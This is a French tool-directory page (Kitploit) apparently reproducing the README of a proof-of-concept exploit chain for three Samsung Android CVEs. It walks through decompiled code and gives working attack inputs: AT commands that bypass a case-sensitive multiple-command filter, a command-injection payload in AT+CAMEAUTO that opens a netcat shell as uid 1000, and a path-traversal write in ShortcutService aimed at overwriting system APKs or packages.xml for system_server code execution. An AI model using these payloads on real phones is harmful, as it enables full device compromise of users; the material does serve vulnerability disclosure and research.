Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
samsung-android-lpe — Preuve de concept pour CVE-2026-20980, CVE-2026-20981, CVE-2026-20982 | Kitploit
Outils/GitHubGitHub/vikramaditya015/samsung-android-lpe
Sécurité AndroidEscalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionSécurité MobileCommandement et ContrôleDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
vikramaditya015/samsung-android-lpe

samsung-android-lpe

Preuve de concept pour CVE-2026-20980, CVE-2026-20981, CVE-2026-20982

Voir le dépôt
418il y a 2 moisVérifié par Kitploit

Partie 1 : Exécution arbitraire de commandes AT (CVE-2026-20980)

Les commandes du processeur applicatif (AP) sont gérées par at_distributor après avoir changé le mode de connexion sur un appareil déverrouillé en utilisant :

root@kitploit:~
AT+SWATD=0
AT+ACTIVATE=0,0,0
AT+SWATD=1

at_distributor vérifie les commandes AT via la fonction pacm_check_at_cmds

root@kitploit:~
void main(int32_t arg1, void* arg2) __noreturn
{
    int32_t var_21b0 = arg1;
    data_42c170 = SignalHandler;
    sigemptyset(0x42c178);
    ...
    if (pacm_check_at_cmds(&data_42c1b4, &var_2160, &data_404a82, v0_11) != 1)  {
        SendToTerminal(&var_2160,                            
        __strlen_chk(&var_2160, 0x80)                    
    } else {
        __android_log_print(3, "AT_Distributor", "%s()", "HandleMessageFromUart");
        ...
    }   
    ...
}

la logique de la fonction se trouve dans

root@kitploit:~
ldd at_distributor
libpacm_client.so => /system/lib64/libpacm_client.so

la fonction appelle is_multiple_cmds qui vérifie si la commande AT contient plusieurs commandes.

root@kitploit:~
uint64_t pacm_check_at_cmds(int64_t arg1, char* arg2)
{
    uint64_t x24 = _ReadMSR(tpidr_el0);
    int64_t x8 = *(x24 + 0x28);
    int32_t var_284;
    ...
    if (!arg1)
    {
        __android_log_print(6, "PACMAN", "%s : AT Command is NULL\n", "pacm_check_at_cmds", v0);
        x20_1 = var_284;
        ...
    } else {
        Command::set_command(&var_280);
        char var_2d0;
        void* var_2c0;
        
        if (var_2d0 & 1)
            operator delete(var_2c0, var_2d0 & 0xfffffffffffffffe);
        int32_t x8_6;
        
        if (!Command::is_multiple_cmds())
        {
            int32_t x0_13;
            int128_t v0_1;
            x0_13 = Command::preprocess_cmds(&var_280);
            ...
        }
        ...
    }    
}   

int64_t Command::is_multiple_cmds()
{
    ...
    size_t x0 = strlen("
at+");
    if (x0) {
        ...
        memcmp(x0_4, "
at+", x0);
        ...
    }
    size_t x0_1 = strlen("
AT+");
    if (x0_1) {
        ...
        memcmp(x0_7, "
AT+", x0_1);
        ...
    }
    size_t x0_2 = strlen("
at+");
    if (x0_2) {
        ...
        memcmp(x0_10, "
at+", x0_2);
        ...
    }
    size_t x0_3 = strlen("
AT+");
    if (x0_3) {
        ...
        memcmp(x0_13, "
AT+", x0_3);
        ...
    }
    ...
    return 1;
}

ainsi une commande AT avec cette charge utile échouera.

root@kitploit:~
TX: AT+\nAT+VERSNAME=3,2,1
RX: +CME Error:PACM(AP),MULTIPLE_CMD

mais is_multiple_cmd ne parvient pas à vérifier "aT+" ou "At+", donc la commande protégée/non enregistrée est exécutée.

root@kitploit:~
TX: AT+\naT+VERSNAME=1,3,0 (Note:AT+VERSNAME=1,3,0 is a protected command)
RX: +VERSNAME:1,SM8550,SM8550

Partie 2 : Exécution arbitraire de commandes système dans FacAtFunction (CVE-2026-20981)

FacAtFunction (uid 1000), une application système, traite la plupart des commandes AT de l'AP, en particulier une commande non enregistrée AT+CAMEAUTO

Cette commande est utilisée pour capturer l'écran via une fonction/exec shell.

root@kitploit:~
...
if (checkArgu(strArr, new String[]{"0", "1", "0", "2"})) {
                    FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "handleCommand", "Screen Capture & File Name : " + strArr[4]);
                    screenCapture(strArr[4]);
                    FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "screenCapture", "result : 1");
                    str = responseOK(strArr[0]);
                    ...
}

public final void screenCapture(String str) {
        Process process;
        FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "ScreenCapture Start");
        ...
        String str3 = i < 10 ? m + "SCREENIMAGE0" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg" : m + "SCREENIMAGE" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg";
        FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "screenCapture", str + i + " / " + str3);
        ?? r15 = {"/system/bin/sh", "-c", str3};
        Process process2 = null;
        try {
            try {
                FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "capture command");
                process = Runtime.getRuntime().exec(r15);
            ...
        }
...
}

Le nom de fichier provient de l'utilisateur, mais la fonction screenCapture ne nettoie pas le nom de fichier. Et comme nous pouvons exécuter une commande non enregistrée à partir de la Partie 1, cela peut être exploité comme suit :

root@kitploit:~
TX: AT\naT+CAMEAUTO=0,1,0,2,/;/system/bin/toybox netcat -s 127.0.0.1 -p 1234 -L sh -l;
RX: OK

Partie 3 : Écriture arbitraire de fichier dans ShortcutService (CVE-2026-20982)

Samsung a implémenté une méthode de restauration personnalisée pour Smart Switch afin de restaurer les fichiers Bitmap.

root@kitploit:~
public void restoreBitmapsFromBackupService(ParcelFileDescriptor parcelFileDescriptor, String str, String str2) {
        enforceScloudBackupWritePermission();
        try {
            ParcelFileDescriptor.AutoCloseInputStream autoCloseInputStream = new ParcelFileDescriptor.AutoCloseInputStream(parcelFileDescriptor);
            FileOutputStream openIconFileForWriteSmartSwitch = openIconFileForWriteSmartSwitch(0, str, str2);
            byte[] bArr = new byte[1024];
            while (true) {
                int read = autoCloseInputStream.read(bArr);
                if (read <= 0) {
                    break;
                }
                openIconFileForWriteSmartSwitch.write(bArr, 0, read);
            }
            if (openIconFileForWriteSmartSwitch != null) {
                openIconFileForWriteSmartSwitch.close();
            }
            autoCloseInputStream.close();
        } catch (Exception unused) {
        }
}
public final FileOutputStream openIconFileForWriteSmartSwitch(int i, String str, String str2) {
        File file = new File(getUserBitmapFilePath(i), str);
        if (!file.isDirectory()) {
            file.mkdirs();
            if (!file.isDirectory()) {
                Slog.d("ShortcutService", "Unable to create directory " + file);
                throw new IOException("Unable to create directory " + file);
            }
            SELinux.restorecon(file);
        }
        File file2 = new File(file, str2);
        if (file2.exists()) {
            Slog.d("ShortcutService", "Unable to create file - already exists " + file2);
            throw new IOException("Unable to create file - already exists " + file2);
        }
        return new FileOutputStream(file2);
}

public final void enforceScloudBackupWritePermission() {
        injectEnforceCallingPermission("com.samsung.android.scloud.backup.lib.write", null);
}

restoreBitmapsFromBackupService est protégée par la permission "com.samsung.android.scloud.backup.lib.write". Nous utiliserons l'uid 1000 de la Partie 2 qui dispose de la permission nécessaire pour appeler cette fonction.

Ici, elle ne nettoie pas str (répertoire) ni str2 (nom de fichier) contre les traversées de chemin. Comme ShortcutService s'exécute dans le processus system_server, nous pouvons écraser le base.apk d'une application système ou modifier packages.xml pour obtenir une exécution de code dans system_server.

PoC

  • La chaîne complète des trois CVE est présente dans PoC/at.py
  • La source du classes.dex se trouve dans PoC/CVE-2026-20982/Exploit.java
  • Démonstration du PoC
Télécharger l’outil